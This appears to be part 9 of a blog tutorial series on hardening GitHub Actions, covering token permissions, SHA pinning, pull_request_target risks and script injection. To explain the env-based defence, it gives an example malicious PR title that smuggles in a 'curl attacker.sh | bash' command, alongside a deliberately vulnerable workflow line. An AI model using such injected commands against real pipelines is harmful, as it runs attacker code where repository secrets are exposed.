GitHub Actions #9 Security Hardening: Minimal permissions, SHA Pinning, and pull_request_target

5 min read

A workflow is where repository write access, secrets, and third-party code all gather in one place, so when CI is breached, the code repository and the deployment targets are breached with it. It is also a regular route in real-world supply chain attacks. This part brings together the points deferred throughout the series with “the reason comes in #9.” We build defenses in three directions, in order: permissions, third-party actions, and untrusted input.

permissions: default the token to read, open write only where needed #

The GITHUB_TOKEN from #3 is convenient, but if it is issued to every workflow with generous default permissions, that much becomes the attacker’s loot. The first line of defense has two layers.

  1. Drop the default to read-only in repository/organization settings: in the Actions menu under Settings, lower Workflow permissions to Read repository contents. This becomes your organization’s safe default.
  2. Declare explicitly only in workflows that need write: like packages: write in #6 and id-token: write in #7, open the permissions you need on only the jobs that need them.
.github/workflows/release.yml
permissions:
  contents: read       # once you declare explicitly, everything else becomes none

jobs:
  release:
    permissions:
      contents: write  # write only on this job, which creates the release

The caveat is exactly what we ran into in #7: declare even one permission and everything you did not list becomes none, so the rule for declarations is “everything you need, precisely.”

Third-party actions: tags move #

The v3 in uses: some-org/some-action@v3 is a branch/tag reference, so the action’s author (or an attacker who has hijacked the author’s account) can move the same tag to different code. Yesterday’s v3 and today’s v3 can be different code, and real supply chain incidents have happened through this route. The defense is pinning to a commit SHA.

SHA pinning
      # Tag reference: convenient but mutable
      - uses: some-org/some-action@v3

      # SHA pin: immutable. Note the human-readable version in a comment
      - uses: some-org/some-action@8f4b7f84864484a7bf31766abe9204da3cbe65b3 # v3.6.0

A SHA is immutable, so the code you reviewed stays that code forever. The trade-off is that updates become hard to chase by hand — and that is what Dependabot pairs with. Put one config file in the repository and it automatically opens PRs that bump the SHA whenever a new version of an action ships.

.github/dependabot.yml
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"

To sum up, pin with SHAs and update with Dependabot is the current standard for managing third-party actions. Many teams allow tag references for GitHub’s official actions under actions/, but unifying on a single rule keeps reviews simpler.

pull_request_target: a trap with a similar name #

Build automation that needs secrets even on fork PRs (adding labels, PR comments) and you will run into the pull_request_target event. It is one word away from pull_request, but the trust model is the exact opposite.

  • pull_request: on fork PRs, a low-trust run — no secrets, read-only token. That is why it is safe.
  • pull_request_target: runs in the base repository’s context, so secrets and the write token are live. In exchange, the default checkout is also the base branch’s code.

The trap is the combination: in a pull_request_target workflow, check out and execute the PR’s code (build, test, scripts) and a stranger’s code runs in an environment where secrets are live. It is the textbook route for secret exfiltration. Keep the principle simple: do not execute PR code in pull_request_target. Use it only for work that needs no code execution, like labels and comments, and run any validation that must execute fork code under secret-less pull_request.

Script injection: the title is input, too #

Time to pay off why #2 said “route external values through env.” PR titles, branch names, and issue bodies are values an outsider can choose, and interpolating them directly into a run script gives you this.

Vulnerable example
      # Vulnerable: the title is stitched straight into the shell
      - run: echo "PR title: ${{ github.event.pull_request.title }}"

If a PR arrives with its title set to "; curl attacker.sh | bash; echo ", that command executes on the runner, because expression interpolation is string substitution before the shell ever parses it. The defense is going through env.

Safe example
      # Safe: received as an environment variable, the shell treats it as just a value
      - run: echo "PR title: $PR_TITLE"
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}

An environment variable’s value is never reinterpreted as shell syntax, so whatever the title says, it is only a string. Put “never place external values directly into run with ${{ }}” on your review checklist, and this whole class of vulnerability disappears structurally.

Recap #

What we covered in this part:

  • Lower GITHUB_TOKEN to default read in repository settings, and declare write explicitly only on the jobs that need it. Once declared, the rest becomes none
  • Action tags are mutable. Pin to commit SHAs and let Dependabot open the update PRs — that pairing is the standard
  • pull_request_target is a run with live secrets. The principle is to never execute PR code inside it
  • Interpolating external values like PR titles and branch names directly into run is script injection. Always go through env and read them as shell variables
  • Add last part’s principle of keeping self-hosted runners off public repositories, and it all folds into one sentence: isolate untrusted code and input from your secrets

The next part (#10 Operations Patterns) is the final one in the series. We gather the patterns of day-to-day operation — path filters for monorepos, concurrency, debugging tools, and cost checks.

X